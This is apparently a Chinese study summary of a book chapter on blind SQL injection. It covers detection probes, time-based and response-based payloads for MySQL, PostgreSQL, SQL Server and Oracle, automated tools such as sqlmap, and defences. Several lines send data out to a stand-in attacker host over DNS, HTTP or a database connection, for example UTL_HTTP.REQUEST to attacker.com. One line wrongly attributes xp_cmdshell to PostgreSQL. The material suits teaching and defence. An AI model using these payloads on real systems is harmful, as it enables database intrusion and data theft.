SQL注入与防御-第五章：SQL盲注利用-EW帮帮网

SQL 注入与防御——SQL 盲注利用

一、SQL 盲注定义与场景

（一）定义

在无法使用详细数据库错误消息或带内数据连接的情况下，利用数据库查询的输入审查漏洞，通过逻辑判断（布尔值、时间延迟、带外通道等）间接提取数据库结构或数据的攻击技术。无需特定 SQL 注入点，仅需排除错误数据提取与合法结果连接（如 UNION SELECT）操作。

（二）典型场景

通用错误页反馈
- 提交使 SQL 查询失控的请求（如单引号 '）→ 返回通用错误页；
- 提交正确 SQL → 返回含可控内容的页面（如带用户输入信息的页面）。
- 示例：
```
http://example.com/?id=1'  // 返回“系统繁忙”（通用错误页）  
http://example.com/?id=1    // 返回正常内容
```
无漏请求的错误反馈
- 提交使查询无漏洞的请求 → 返回通用错误页；
- 正确请求返回不可控内容（因多查询仅首个易受攻击，注入致后续操作报错，产生通用错误）。
- 示例：
```
http://example.com/?id=1 AND 1=1  // 返回正常内容  
http://example.com/?id=1 AND 1=2  // 返回通用错误页
```
无明显响应的注入
- 提交使 SQL 受损 / 不正确的请求 → 既无错误页，也不影响页面输出；
- 需基于时间延迟、带外漏洞（如 DNS、e-mail 通道）识别参数。

二、SQL 盲注识别与验证

（一）基础验证方法

强制通用错误
- 向应用输入单引号 '、双引号 " 等特殊字符，利用应用返回通用错误页（覆盖数据库原始错误），判断是否存在 SQL 注入可能。
- 示例：
```
http://example.com/?id=1'  // 返回通用错误页 → 可能存在注入
```
带副作用查询
- 提交含可观察执行逻辑的查询，如不同数据库的延时语句，通过响应时间差异验证注入点：
  - SQL Server：WAITFOR DELAY '00:00:05'
  - MySQL：SLEEP(5)
  - PostgreSQL：pg_sleep(5)
- 示例：
```
http://example.com/?id=1;WAITFOR DELAY '00:00:05'--  // 页面延迟 5 秒 → 存在注入
```

（二）高级验证技术 —— 拆分与平衡

当通用错误、副作用方法无效时，采用 “参数拆分与平衡” 技术：

原理：分解合法请求参数，保持 SQL 查询功能等效，构造注入测试语句，绕过过滤逻辑。
数据库适配示例：
- Oracle：用 || 连接字符串（如 't' || 'est' 等效于 'test'）；
- MySQL：用 CONCAT('t', 'est') 拼接；
- PostgreSQL：用 || 或 CONCAT()。

三、SQL 盲注利用技术

（一）基于时间的 SQL 盲注技术

1. 核心原理

利用数据库查询延迟特性，通过控制响应时间（条件为真时延迟、为假时正常），将时间作为 “状态判断标识”，依据请求响应时长差异，提取单字节 / 位信息，适配二分搜索、逐位推断等方法。

2. 不同数据库的延迟实现

MySQL：
- SLEEP() 函数（5.0.12+）：直接暂停固定秒数（支持微秒，如 SLEEP(4.17)）；
- BENCHMARK(N, expression)：重复执行表达式 N 次间接产生延迟（如 BENCHMARK(10000000, RAND())）。
PostgreSQL：
- pg_sleep()：暂停指定秒数，因返回 void 需结合堆叠查询（如 SELECT 1; SELECT pg_sleep(5);）；
- 自定义函数：超级用户可创建 PAUSE() 封装 pg_sleep()（如 CREATE FUNCTION pause(integer) RETURNS integer AS $$ ... PERFORM pg_sleep($1); ... $$）。
SQL Server：
- WAITFOR DELAY 'hh:mm:ss'：精准控制延迟（如 WAITFOR DELAY '00:01:53'），可嵌入查询逻辑。
Oracle：
- DBMS_LOCK.SLEEP()：需 DBMS_LOCK 包，结合 CASE 语句触发（如 CASE WHEN 条件 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END）。

3. 优化与问题

优化：二分搜索法缩小字符范围、位操作逐位推断（支持并行请求）；
注意：网络延迟干扰判断（需设阈值）、高负载下 BENCHMARK() 延迟不稳定。

（二）基于响应的 SQL 盲注技术

1. 原理与实现逻辑

通过检查响应数据（内容、HTTP 状态等） 推断数据库状态。构造含条件判断的 SQL，使 “条件为真时触发特定响应（如错误、数据变化），条件为假时正常”，依据响应差异提取信息（如字符 ASCII 码、数据存在性）。

2. 不同数据库的响应利用

MySQL：
- 错误触发：IF(条件, (SELECT 1 FROM 不存在的表), 1)，依据错误页推断；
- 结合 ASCII()、SUBSTRING() 逐位判断（如 ASCII(SUBSTRING(USER(),1,1))>64）。
PostgreSQL：
- 行结果差异：CASE WHEN 条件 THEN 1 ELSE 0 END，依据返回行数推断；
- 强制错误：“除以 0” 触发 HTTP 500 状态（如 CASE WHEN 条件 THEN 1/0 ELSE 1 END）。
SQL Server：
- 结果集控制：ASCII(SUBSTRING(SYSTEM_USER,1,1))=115，依据查询结果存在性判断；
- CASE 语句：控制返回内容（如 CASE WHEN 条件 THEN '存在' ELSE '不存在' END）。
Oracle：
- 错误页触发：CASE WHEN 条件 THEN (SELECT * FROM 不存在的表) ELSE 1 END，依据 HTTP 500 响应；
- 结合 DBMS_PIPE 等包扩展响应逻辑。

3. 挑战与优化

挑战：应用自定义错误页屏蔽原始错误、数据库响应格式差异大；
优化：复用 “拆分与平衡” 技术、自动化工具批量测试、位操作减少请求次数。

（三）非主流通道技术（数据外带）

1. 核心原理

不依赖页面直接响应，借助数据库连接、DNS、HTTP、e-mail 等通道，将数据编码 / 打包后外带，一次传输多块数据（如 200 字节），适合大规模窃取。

2. 主流通道与实现

数据库连接（SQL Server 示例）：

OPENROWSET 命令跨库传输：

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=攻击者IP; uid=sa; pwd=密码', 'SELECT 敏感字段 FROM 表')

DNS 渗漏：
- 原理：将数据编码为子域名，触发 DNS 查询，通过日志提取（如 数据.attacker.com）；
- 实现：
  - PostgreSQL：EXEC xp_cmdshell 'nslookup 数据.attacker.com'；
  - SQL Server：xp_dirtree '\\\\数据.attacker.com\\a'（利用 UNC 路径触发 DNS 查询）。

HTTP 渗漏（Oracle 示例）：

UTL_HTTP.REQUEST 函数构造含数据的请求：

SELECT UTL_HTTP.REQUEST('http://attacker.com/' || USER) FROM dual  -- 用户名嵌入 URL，日志提取

e-mail 渗漏：
- 依赖数据库邮件功能（如 SQL Server sp_send_dbmail、Oracle 邮件包），将查询结果发送至攻击者邮箱，需配置邮件服务。
ICMP 渗漏：
- 借 ICMP 协议传输数据，因网络管控（防火墙过滤）应用率低，需辅助程序构造报文。

3. 优势与限制

优势：突破响应限制、一次传多数据、隐蔽性强（利用合法功能）；
限制：依赖高权限（如 sa）、受防火墙 / 过滤限制、编码逻辑复杂。

四、自动 SQL 盲注利用工具

（一）工具核心价值

将手动盲注的 “推断逻辑、数据提取” 流程自动化，降低攻击门槛，支持批量测试、高效提取数据库内容（结构、数据），适配多数据库。

（二）主流工具解析

工具	功能与特点	使用流程	适用场景
Absinthe	支持 Blind/Error Based 注入，跨平台，二分搜索推断，需区分 TRUE/FALSE 响应	配置目标 URL→初始化注入→提取数据→导出 XML 结果	精细化、多数据库场景
BSQL Hacker	图形化 GUI，模板化攻击，支持多数据库，改进二分搜索法	配置目标→选择推断方法→验证注入→提取用户 / 表数据	快速渗透、通用错误页场景
SQLBrute	轻量（31KB），Python 依赖，基于时间 / 响应推断，需手动配置参数	构造请求（如 `sqlbrute -u "URL"`）→指定模式→正则匹配响应→输出结果	简单场景、快速验证
Sqlmap	功能全面，支持多数据库，集成时间 / 响应盲注及非主流通道，自动识别注入点	指定目标（`-u URL`）→选择技术（`--technique=B`）→提取数据（`--users`/`--passwords`）	深度渗透、自动化测试
Sqlninja	专注 SQL Server，支持 DNS/ICMP 通道，依赖 `xp_cmdshell`	上传辅助程序→配置域名→执行命令→解析 DNS 日志	内网渗透、高权限场景
Squeeza	命令行，专注 SQL Server，DNS 通道优化，支持大字段（8000 字节）提取，Ruby 依赖	构造注入→指定提取逻辑→通过 DNS 响应获取结果	深度数据窃取、大 payload 场景

（三）工具对比与防御启示

技术防御：禁用危险功能（UTL_HTTP、xp_cmdshell）、拦截异常请求（WAF 规则匹配 SLEEP、SUBSTRING）、监控日志（可疑 DNS/HTTP 请求）；
流程防御：定期审计权限、培训识别自动化攻击特征（批量请求、异常 DNS 频率）、结合蜜罐与流量分析。

五、总结

SQL 盲注利用 “无直接回显但有逻辑差异” 的场景，通过时间延迟、响应差异、非主流通道三类技术实现数据提取，自动工具进一步降低了攻击门槛。防御需从 “通道阻断”（限制网络功能、拦截异常请求）与 “权限管控”（最小权限原则、审计危险操作）入手，形成全链路防护。理解盲注的技术细节与工具特性，是应对此类攻击的核心。

SQL注入与防御-第五章：SQL盲注利用

SQL 注入与防御——SQL 盲注利用

一、SQL 盲注定义与场景

（一）定义

（二）典型场景

二、SQL 盲注识别与验证

（一）基础验证方法

（二）高级验证技术 —— 拆分与平衡

三、SQL 盲注利用技术

（一）基于时间的 SQL 盲注技术

1. 核心原理

2. 不同数据库的延迟实现

3. 优化与问题

（二）基于响应的 SQL 盲注技术

1. 原理与实现逻辑

2. 不同数据库的响应利用

3. 挑战与优化

（三）非主流通道技术（数据外带）

1. 核心原理

2. 主流通道与实现

3. 优势与限制

四、自动 SQL 盲注利用工具

（一）工具核心价值

（二）主流工具解析

（三）工具对比与防御启示

五、总结

网站公告

今日签到

热门文章

最新发布